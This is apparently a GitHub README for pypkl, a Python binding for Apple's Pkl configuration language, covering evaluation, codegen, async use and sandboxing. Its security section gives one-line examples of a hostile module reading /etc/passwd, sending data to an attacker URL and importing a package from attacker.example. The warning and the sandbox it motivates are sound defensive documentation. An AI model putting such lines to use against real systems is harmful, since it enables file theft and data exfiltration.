pypkl

Pkl bindings for Python

0
0
0
Python
public

pypkl

Python bindings for Apple’s Pkl configuration language. Write your configuration in Pkl — a real, typed, programmable config language — and read it straight into native Python values.

import pypkl

config = pypkl.evaluate_module("config.pkl")
print(config.name)        # attribute access
print(config["name"])     # item access
print(config.to_dict())   # plain nested dict

What is Pkl, and why use it from Python?

Pkl is a configuration language: it has types, constraints, functions, templates, and imports,
but it evaluates to plain data. You get the abstraction of code while authoring config, and the
simplicity of data when consuming it.

// app.pkl
class Database {
  url: String
  poolSize: Int(this > 0) = 8     // typed, with a constraint and a default
}

name: String = "my-service"
port: Int(this >= 1 && this <= 65535) = 8080
replicas: Int = if (read?("prop:environment") == "prod") 5 else 1
database: Database = new { url = "postgres://localhost/mydb" }
cfg = pypkl.evaluate_module("app.pkl")
cfg.port                 # => 8080
cfg.replicas             # => 1
cfg.database.poolSize    # => 8 (the class default)

# the -Denvironment=prod equivalent:
with pypkl.Evaluator(properties={"environment": "prod"}) as ev:
    cfg = ev.evaluate_module("app.pkl")
    cfg.replicas         # => 5

What that buys you over a YAML file plus validation code:

  • Catch bad config before your app starts. poolSize can’t be negative and port must be
    in range — Pkl rejects the file at evaluation time with a precise error, so you never boot with
    invalid settings.
  • DRY across environments. Define a base template once and override per environment with
    amends, instead of duplicating YAML. Computed values (if, functions, string interpolation)
    live in the config itself.
  • Rich, unit-aware types. 30.s, 10.mib, 1.gb are first-class — no more guessing whether
    timeout: 30 means seconds or milliseconds. They decode to Python objects you can convert
    (.total_seconds(), .to_timedelta()).
  • One source of truth, many outputs. The same module renders to JSON, YAML, .properties, or
    feeds straight into Python — handy when some services read files and others embed pypkl.

Pkl is the same engine Apple ships with first-party bindings for
Go, Swift,
Kotlin, and Java. pypkl brings
that to Python
, using the same architecture as pkl-go/pkl-swift (see
Architecture).

New to the language itself? The Pkl tutorial
and language reference are the
places to start.

Requirements

pypkl drives the pkl CLI, so you need it on your PATH:

brew install pkl       # macOS / Linux (Homebrew)
# or download a native binary from https://github.com/apple/pkl/releases
# or `mise use pkl@latest`

If pkl lives somewhere off PATH, point pypkl at it with the PKL_EXEC environment variable.
pypkl supports Python 3.10+ and Pkl 0.25+ (a few features need newer Pkl; pypkl tells you which
when you use them — see Capabilities).

Quickstart

import pypkl

# Evaluate a module file into Python values.
config = pypkl.evaluate_module("config.pkl")
print(config.name)          # attribute access
print(config["name"])       # item access
print(config.to_dict())     # plain nested dict, recursively

# Evaluate source text directly — handy for tests and one-liners.
cfg = pypkl.evaluate_module_text('greeting = "hello"')
print(cfg.greeting)         # => "hello"

# Pull out a single expression instead of the whole module.
port = pypkl.evaluate_module("config.pkl", "server.port")   # just the int

These one-shot helpers spawn a fresh pkl server process per call — perfect for a script that loads
config once at startup. If you evaluate repeatedly (a loop, a test suite, a web app), reuse a single
Evaluator instead (see Reusing an evaluator).

Day-to-day usage

Reading values out of a config

A non-scalar Pkl object decodes to a pypkl.Object. Properties are reachable both as attributes and
as items, nested objects come back as nested Objects, and .to_dict() gives you a plain dict all
the way down:

// app.pkl
name = "my-service"
hosts = new Listing { "a.example.com"; "b.example.com" }
database {
  url = "postgres://localhost/mydb"
  poolSize = 16
}
cfg = pypkl.evaluate_module("app.pkl")

cfg.name                    # => "my-service"
cfg.hosts                   # => ['a.example.com', 'b.example.com']  (a list)
cfg.database.url            # => "postgres://localhost/mydb"
cfg["database"]["poolSize"] # => 16
"database" in cfg           # => True

cfg.to_dict()               # => {'name': 'my-service', 'hosts': [...], 'database': {...}}

See Value mapping for the full Pkl→Python type table.

Unit-aware durations and data sizes

Pkl’s Duration and DataSize carry their unit, so you never have to remember whether a number
meant seconds or milliseconds, bytes or mebibytes:

timeout = 30.s
maxUpload = 10.mib
cfg = pypkl.evaluate_module("app.pkl")

cfg.timeout.total_seconds()     # => 30.0
cfg.timeout.to_timedelta()      # => datetime.timedelta(seconds=30)
cfg.maxUpload.total_bytes()     # => 10485760.0
cfg.maxUpload.to_unit("kb")     # => DataSize(10485.76, DataSizeUnit.KILOBYTES)

Typed config with dataclasses

Pass into= to unmarshal directly into your own (module-level) dataclasses — you get autocomplete,
type-checking, and IDE-friendly attribute access instead of a dynamic Object. Nested dataclasses
are filled recursively, and defaults are honored:

from dataclasses import dataclass
import pypkl

@dataclass
class Database:
    url: str
    poolSize: int = 8

@dataclass
class AppConfig:
    name: str
    database: Database
    port: int = 8080

with pypkl.Evaluator() as ev:
    cfg = ev.evaluate_module("app.pkl", into=AppConfig)

cfg.database.poolSize       # => 16, typed as int
isinstance(cfg, AppConfig)  # => True

into=<class> is statically typed: the type checker sees AppConfig,
so autocomplete and mypy work — including for the async methods and unmarshal.

By default, unmarshalling is lenient about scalars: a value that doesn’t match a
declared field type (e.g. a string where an int is annotated) passes through
unchanged rather than raising, and Pkl usually enforces the field types server-side
anyway. Pass strict=True to validate every scalar leaf at runtime — including
nested fields and Pkl’s true/1/1.0 distinctness — and raise
PklUnmarshalError on a mismatch:

cfg = ev.evaluate_module("app.pkl", into=AppConfig, strict=True)  # runtime-validated

Generating those dataclasses for you

Rather than hand-write dataclasses to mirror a Pkl schema, generate them from the module’s type
declarations
— including optionals, unions, Literal[...], inheritance, doc comments (emitted
as docstrings), typealiases (emitted as real Python type aliases), and Pkl defaults (emitted as
real field defaults):

pypkl codegen app.pkl --root-name AppConfig -o config_models.py   # or: python -m pypkl.codegen app.pkl …

No install needed if you have uv: uvx pypkl codegen app.pkl -o config_models.py.

For the app.pkl above, that writes:

# config_models.py
# @generated by pypkl codegen. DO NOT EDIT.
# Regenerate from the source Pkl module instead of editing this file by hand.

from __future__ import annotations

from dataclasses import dataclass


@dataclass(kw_only=True)
class AppConfig:
    name: str
    port: int = 8080
    replicas: int = 1
    database: Database


@dataclass(kw_only=True)
class Database:
    url: str
    poolSize: int = 8

Note the root class is named AppConfig (from --root-name) and Database is emitted from its
class declaration. Pkl-side declarations carry over as real Python: a scalar default becomes the
field’s default (= 8, as evaluated at generation time — Duration/DataSize defaults render as
constructor calls), and a typealias becomes a real Python type alias — typealias Port = Int(this > 0) emits Port = int (with the alias’s doc comment) and fields annotate as
port: Port, keeping the name that carries the validation intent. Constraint expressions
(Int(this > 0)) can’t be surfaced — Pkl’s reflection API doesn’t expose them — so an alias or
field of a constrained type expands to plain int: the generated types describe shape, while
Pkl still enforces the constraints at evaluation time.

# Or generate from Python instead of the CLI:
import pypkl
src = pypkl.codegen.generate_schema("app.pkl", root_name="AppConfig")
print(src)

Generate once, commit the output, then evaluate with into= for fully typed config. (For an untyped
module — properties without class/type annotations — use --instance to infer dataclasses from an
evaluated value instead.)

Building dataclasses at runtime

When the schema isn’t known until runtime — you’ve been handed an arbitrary .pkl and want typed
access without a codegen build step — build_dataclasses returns the root dataclass object
directly (nested classes hang off it as field types), ready for into=:

import pypkl

Config = pypkl.codegen.build_dataclasses("app.pkl", root_name="AppConfig")

# A runtime-supplied module is most likely untrusted, so evaluate it sandboxed —
# no filesystem, network, or env access beyond the standard library.
with pypkl.Evaluator.sandboxed() as ev:
    cfg = ev.evaluate_module("app.pkl", into=Config)   # real dataclass instances, no .py on disk

It’s the runtime counterpart to generate_schema — same reflected schema, so the live types match
the source it would have written (optionals, Literal unions, collection element types, and real
class inheritance included; recursive schemas work too). Prefer committed generate_schema output
when you want editor autocomplete and static type-checking; reach for build_dataclasses when the
module is only known at runtime.

Environments and overrides

Pkl modules can read external properties (-D) and environment variables, which makes
“one base config, per-environment overrides” a one-liner. Supply them from Python via properties
and env:

// app.pkl
environment = read?("prop:environment") ?? "dev"
port        = read?("env:PORT")?.toInt() ?? 8080
replicas    = if (environment == "prod") 5 else 1
with pypkl.Evaluator(properties={"environment": "prod"}, env={"PORT": "9000"}) as ev:
    cfg = ev.evaluate_module("app.pkl")

cfg.environment   # => "prod"
cfg.port          # => 9000
cfg.replicas      # => 5

For larger setups, prefer Pkl’s own amends/templating to layer environments, and keep Python’s
role to “evaluate and read.” If your repo has a PklProject, Evaluator.for_project(dir) picks up
its settings automatically (see Capabilities).

Rendering to JSON / YAML / .properties

Sometimes you don’t want Python values — you want the module’s rendered output to hand to another
tool. Set output_format and read the text:

with pypkl.Evaluator(output_format="yaml") as ev:
    print(ev.evaluate_output_text("config.pkl"))   # the module rendered as YAML

output_format accepts json, yaml, pcf, plist, properties, xml, and more. A module that
defines a multi-file output can be rendered with evaluate_output_files(path) -> {filename: text}.
(Rendering applies Pkl’s own output renderers — some types, like a raw Duration or DataSize,
aren’t directly renderable to YAML/JSON without an output.converters entry in the module.)

Evaluating non-file modules

evaluate_module treats its argument as a filesystem path. To reach a module by URI — the Pkl
standard library (pkl:), a published package (package://), a URL (https://), or the module
path (modulepath:/) — use evaluate_uri:

# Use a stdlib function:
major = pypkl.evaluate_uri("pkl:semver", expr='Version("1.2.3").major')   # => 1

# Evaluate a published package's module:
pkg = pypkl.evaluate_uri("package://example.com/p@1.0.0#/m.pkl")

For full control, pass a pypkl.ModuleSource (.path, .uri, .text, .modulepath) — accepted by
every evaluate_module across the sync, async, and managed evaluators.

Reusing an evaluator

The one-shot helpers (evaluate_module / evaluate_module_text / evaluate_uri) spawn a fresh
pkl server per call — fine for a one-off, but in a loop that startup cost dominates. Reuse one
Evaluator to amortize a single server process across many evaluations:

with pypkl.Evaluator() as ev:
    for path in paths:
        cfg = ev.evaluate_module(path)
        ...

If the helper calls are scattered across a codebase and threading an Evaluator through is awkward,
pass reuse=True to route them through a lazily-built, process-wide shared evaluator (one server
amortized across calls; rebuilt if it dies, closed at interpreter exit, dropped in a forked child):

for path in paths:
    cfg = pypkl.evaluate_module(path, reuse=True)   # one shared server, not one per call

It’s opt-in by design: the default per-call spawn stays isolated, since a shared (permissive) server
is a wider, longer-lived surface.

Package caching

package:// imports are cached so they aren’t re-downloaded on every run. By default pypkl uses
Pkl’s conventional shared cache at ~/.pkl/cache (matching the pkl CLI and pkl-go), so repeated
evaluations — and separate processes — reuse the same downloaded packages:

pypkl.Evaluator()                       # caches packages in ~/.pkl/cache (default)
pypkl.Evaluator(cache_dir="/tmp/cache") # use a specific directory instead
pypkl.Evaluator(no_cache=True)          # disable the on-disk cache (in-memory only)

no_cache=True keeps packages in memory for that evaluator’s lifetime only — nothing is written to
disk, and the next process re-downloads. (Passing both cache_dir and no_cache=True is an error.)
A PklProject’s noCache / moduleCacheDir settings map onto these automatically via for_project.

The pkl server process

The evaluators above each manage a pkl server subprocess. Two options control that OS process,
distinct from Pkl’s own env/properties (which feed env:/prop: reads inside a module):

with pypkl.Evaluator(
    server_cwd="/srv/config",                 # working directory of the pkl server process
    server_env={"PKL_HOME": "/opt/pkl-home"},  # merged over the inherited environment
) as ev:
    ...

server_env is layered over the parent environment (so you add to it rather than replacing it);
both default to inheriting the parent process unchanged. They live on the process-owning evaluators
and managers (Evaluator, AsyncEvaluator, EvaluatorManager, AsyncEvaluatorManager) — not on
new_evaluator, which reuses the manager’s existing process.

Handling errors

A Pkl module that fails to evaluate — a type/constraint violation, a missing property, a parse
error — raises pypkl.PklEvalError with Pkl’s formatted message (file, line, and a source pointer).
All pypkl exceptions derive from pypkl.PklError:

try:
    cfg = pypkl.evaluate_module("app.pkl")
except pypkl.PklEvalError as e:
    print("invalid config:", e)

Concurrency

An Evaluator is thread-safe. Concurrent evaluate_* calls are multiplexed over the single
pkl server process — a background reader thread routes each response back to the waiting caller by
request id. Per-call timeout (seconds) is supported.

from concurrent.futures import ThreadPoolExecutor

with pypkl.Evaluator() as ev:
    with ThreadPoolExecutor(max_workers=8) as pool:
        configs = list(pool.map(ev.evaluate_module, paths))

Async

AsyncEvaluator is the asyncio-native counterpart — same API, same options, but await-ed.
Concurrent awaits multiplex over the one pkl server process with no threads. It is bound to the
event loop it starts on.

import asyncio
import pypkl

async def main():
    async with pypkl.AsyncEvaluator() as ev:
        cfg = await ev.evaluate_module("config.pkl")
        # Run many evaluations concurrently on the event loop.
        results = await asyncio.gather(*(ev.evaluate_module(p) for p in paths))

asyncio.run(main())

AsyncEvaluator and the sync Evaluator share a single sans-I/O protocol core
(pypkl._server.protocol), so they stay behaviorally identical — only the transport differs. (If you
only need to bridge a little Pkl into an async app, wrapping the sync evaluator with
await asyncio.to_thread(ev.evaluate_module, path) also works and needs no separate evaluator.)

Logging

Pkl emits trace(...) output and warnings (e.g. deprecations) as log messages. As in pkl-go, these
are discarded by default (NoopLogger). Pass a logger to surface them:

# Print to stderr, formatted as `pkl: WARN: <message> (<frame>)`.
ev = pypkl.Evaluator(logger=pypkl.StderrLogger())

# Or any stream / a callback / collect in memory.
ev = pypkl.Evaluator(logger=pypkl.StreamLogger(open("pkl.log", "w")))
ev = pypkl.Evaluator(logger=pypkl.CallbackLogger(lambda level, msg, frame: ...))
collected = pypkl.CollectingLogger()
ev = pypkl.Evaluator(logger=collected)   # collected.entries / collected.messages

Implement pypkl.Logger (trace(message, frame_uri) / warn(...)) for custom handling.

Value mapping

Pkl Python
Int, Float, String, Boolean, Null int, float, str, bool, None
List, Listing list
Set pypkl.PklSet
Map, Mapping dict
Pair tuple
Bytes bytes
Typed / Dynamic objects, modules pypkl.Object
Duration, DataSize pypkl.Duration, pypkl.DataSize
IntSeq, Regex, Class, TypeAlias pypkl.IntSeq, pypkl.Regex, …

A Pkl Set maps to pypkl.PklSet — an immutable, hashable set that preserves uniqueness and
membership even when its elements are themselves unhashable (Lists, Maps, Objects), which a
plain Python set cannot hold. Equality is PklSet-to-PklSet only — a plain set/frozenset never
compares equal, because its hash is blind to Pkl’s true/1/1.0 distinctness and cross-type
equality would break the a == b ⟹ hash(a) == hash(b) invariant. Membership still works naturally,
and set(pkl_set) gives a lossy plain-set view (collapsing Pkl-distinct values) when you need one:

s = pypkl.evaluate_module_text("x = Set(1, 2, 3)", expr="x")
s == {1, 2, 3}        # False — equality is PklSet-to-PklSet only
set(s) == {1, 2, 3}   # True — lossy plain-set view
2 in s                # True — membership works naturally

Map/Mapping decode to dict, including those with non-primitive keys — a Map keyed by
Lists, Objects, or other Maps. Object is hashable (by structure), so List keys become
tuples and object keys can be looked up with an equal Object. (pypkl.Object is also usable
directly as a dict key or set member.)

Duration and DataSize carry a typed unit (pypkl.DurationUnit / pypkl.DataSizeUnit, each a
str enum with conversion factors) and support conversions:

d = pypkl.Duration(90.0, "s")
d.total_seconds()          # 90.0
d.to_unit("min")           # Duration(1.5, DurationUnit.MINUTES)
d.to_timedelta()           # datetime.timedelta(seconds=90)

s = pypkl.DataSize(1.0, "gb")
s.total_bytes()            # 1_000_000_000
s.to_unit("mib")           # DataSize(953.674…, DataSizeUnit.MEBIBYTES)
str(s)                     # "1.gb"

Security — evaluating untrusted Pkl

By default an Evaluator is permissive, matching pkl-go: the allow-lists let a module reach
file:, http:/https:, env:, prop:, and package:, and there is no evaluation timeout.
That is convenient for your own config, but unsafe for input you do not control. A hostile module
can:

  • read local files — read("file:///etc/passwd");
  • make network requests / exfiltrate data — read("https://attacker/…");
  • execute arbitrary remote codeimport "package://attacker.example/evil@1.0.0" downloads and
    runs Pkl;
  • run forever or exhaust memory, since nothing bounds evaluation.

(Environment variables and external properties are not exposed despite env:/prop: being
allow-listed: env/properties default to empty, so those reads return nothing unless you populate
them.)

For untrusted input, use Evaluator.sandboxed() — it permits only the standard library (pkl:) and
the text REPL (repl:text), denies all resources, and sets a 30-second timeout:

import pypkl

with pypkl.Evaluator.sandboxed() as ev:
    ev.evaluate_module_text(untrusted_source)   # no file / network / package access

# Tune the timeout, or deliberately reopen a hole you need:
with pypkl.Evaluator.sandboxed(timeout_seconds=5) as ev:
    ...

AsyncEvaluator.sandboxed() is the async equivalent (use it with async with). For an
EvaluatorManager, pass the same restrictions to new_evaluator(...):
allowed_modules=["pkl:", "repl:text"], allowed_resources=[], timeout_seconds=….

Note that Evaluator.for_project(...) and with_dependencies=True execute the project’s Pkl code
(and apply its evaluatorSettings), so only point them at projects you trust.

Capabilities

Beyond the day-to-day surface above, pypkl covers the full first-party message-passing binding
feature set:

  • Evaluation to Python values, plus rendered output text (evaluate_output_text, with an
    output_format of json/yaml/pcf/…). Modules come from a file path, inline text, or any URI
    (pkl:, package://, https://, modulepath:/) via evaluate_uri / ModuleSource.
  • Module output.*: evaluate_output_files(path) -> dict[str, str] renders a module’s
    multi-file output (filename → text), plus evaluate_output_value and the Pkl-0.29+
    evaluate_output_bytes / evaluate_output_files_bytes.
  • Concurrency: thread-safe Evaluator, asyncio-native AsyncEvaluator, and EvaluatorManager /
    AsyncEvaluatorManager to host many evaluators on one pkl server process — all sharing one
    sans-I/O protocol core.
  • Typed results: evaluate_module(path, into=MyDataclass) unmarshals the result into your
    (module-level) dataclasses — pairs with codegen.
  • Evaluator options: allowed_modules/allowed_resources, env, properties, module_paths,
    output_format, timeout_seconds, root_dir, cache_dir/no_cache, http (Http/Proxy),
    trace_mode ("compact"/"pretty", Pkl 0.30+); plus server_cwd/server_env to control the
    spawned pkl server process itself (see Package caching and
    The pkl server process); a one-time pkl --version check at startup
    (disable with check_version=False) that also gates per-feature minimums — http (0.26), external
    readers (0.27), trace_mode (0.30) — with a clear error naming the option and the version it needs,
    instead of a raw server failure.
  • Custom readers: subclass ResourceReader/ModuleReader to resolve custom read("scheme:…") /
    import("scheme:…") URIs from Python. In async mode they may be async def (awaited) or sync (run
    off the event loop). run_external_reader(...) runs pypkl as a Pkl external reader subprocess.
    Managers route logger and readers per evaluator (new_evaluator(logger=…, resource_readers=…)).
  • External readers: point an evaluator at a separate reader executable with
    external_module_readers / external_resource_readers (dict[str, ExternalReader], keyed by
    scheme) on any Evaluator / AsyncEvaluator / new_evaluator. Each scheme is auto-allow-listed.
    Requires Pkl 0.27+ (a too-old server fails fast). PklProject
    evaluatorSettings.external{Module,Resource}Readers map automatically via for_project.
  • PklProject: Evaluator.for_project(dir) applies a project’s evaluatorSettings (allow-lists,
    env/properties, module path, timeout, root / cache dir, noCache, http proxy/rewrites,
    traceMode, and external readers); pass with_dependencies=True (off by default) to resolve
    @dependency imports (local deps from disk; remote packages downloaded by the pkl server, with
    checksums from PklProject.deps.json).
  • Codegen: pypkl.codegen.generate_schema(path) emits Python @dataclass(kw_only=True)es from a
    module’s type declarations (via pkl:reflect) — capturing optionals (T | None, defaulting to
    None), unions / string-literal unions (Literal[...]), collection element types, class
    inheritance (class Dog(Animal):, emitted parent-first), doc comments (as class and per-field
    docstrings), and @Deprecated (as a # deprecated: field comment). generate(value) is the
    instance-based fallback for untyped modules. Pairs with into= for typed evaluation. Also
    available as a CLI: pypkl codegen <module> -o <dir> (the pypkl console script, also runnable as
    python -m pypkl.codegen or uvx pypkl codegen …). For schemas only known at runtime,
    pypkl.codegen.build_dataclasses(path) materializes
    the same types live (no source / build step) — see Building dataclasses at runtime.
ev = pypkl.Evaluator(timeout_seconds=30, output_format="yaml")

with pypkl.EvaluatorManager() as mgr:           # many evaluators, one process
    a, b = mgr.new_evaluator(), mgr.new_evaluator()

class DbReader(pypkl.ResourceReader):           # custom read("db:…")
    scheme = "db"
    def read(self, uri: str) -> bytes: ...

Architecture

These bindings talk to (and manage the lifecycle of) a long-lived pkl server subprocess over Pkl’s
message-passing API
(MessagePack over stdin/stdout), and decode evaluation results from the
pkl-binary encoding
into native Python values. This mirrors how the first-party bindings (pkl-go, pkl-swift, …) work.

Known gaps vs. the first-party bindings

pypkl is a message-passing binding — the same pkl server + MessagePack architecture as
pkl-go and pkl-swift, not a port of the in-process pkl-config-java library. Much of the Java
surface — ValueMapper/converters, generated getters, SecurityManager /
StackFrameTransformer / ModuleKeyFactory objects, the HttpClient’s connect/request timeouts and
user-agent, color, powerAssertions, evaluateTest / evaluateCommand — is handled server-side
or is a CLI/JVM in-process concern, and is intentionally out of scope.

Everything that is expressible over the protocol and implemented by the sibling message-passing
bindings pkl-go / pkl-swift is implemented here too — multi-file output, codegen inheritance
/ docstrings / @Deprecated / optional defaults, a codegen CLI, trace_mode, the full PklProject
evaluatorSettings mapping, and per-feature version gating. (Cross-checked against pkl-swift, which
uses pypkl’s exact architecture.) Verified complete: the pkl-binary decoder, all 19 message-passing
codes, reader specs, and the core evaluator options — in fact pypkl decodes
Pair/IntSeq/Regex and non-primitive Map keys that pkl-swift does not. It also carries the
spec’s glob-pattern Http.headers (_server/protocol.py), which neither pkl-go nor pkl-swift
implements.

Development

uv sync --extra dev
uv run pytest        # requires the `pkl` CLI (hard requirement — the run aborts without it)
uv run ruff check .
uv run mypy

The test suite treats the pkl binary as a hard development requirement: the
differential/value oracles (conformance, corpus, reader round-trips) must run,
not silently skip, so a missing binary fails the session at start instead of
producing a green-but-hollow run. Install Pkl as shown above or set PKL_EXEC.
pytest -m "not pkl_required" selects the pure-unit subset for speed — the
binary must still be installed.

Status

Covers the core first-party binding capabilities (evaluation, concurrency, options, readers, project
settings, codegen). The Known gaps section tracks what’s
still missing relative to pkl-go / pkl-swift / pkl-config-java; remaining work beyond that is
release hygiene.

Supports Python 3.10+. enum.StrEnum (3.11) is shimmed for 3.10, and request timeouts are
normalized to the builtin TimeoutError (a distinct class from concurrent.futures/asyncio’s
before 3.11). The full suite passes on 3.10 and 3.14.


I’m not associated with Apple or Pkl in any way — I just think it’s neat.

v0.3.3[beta]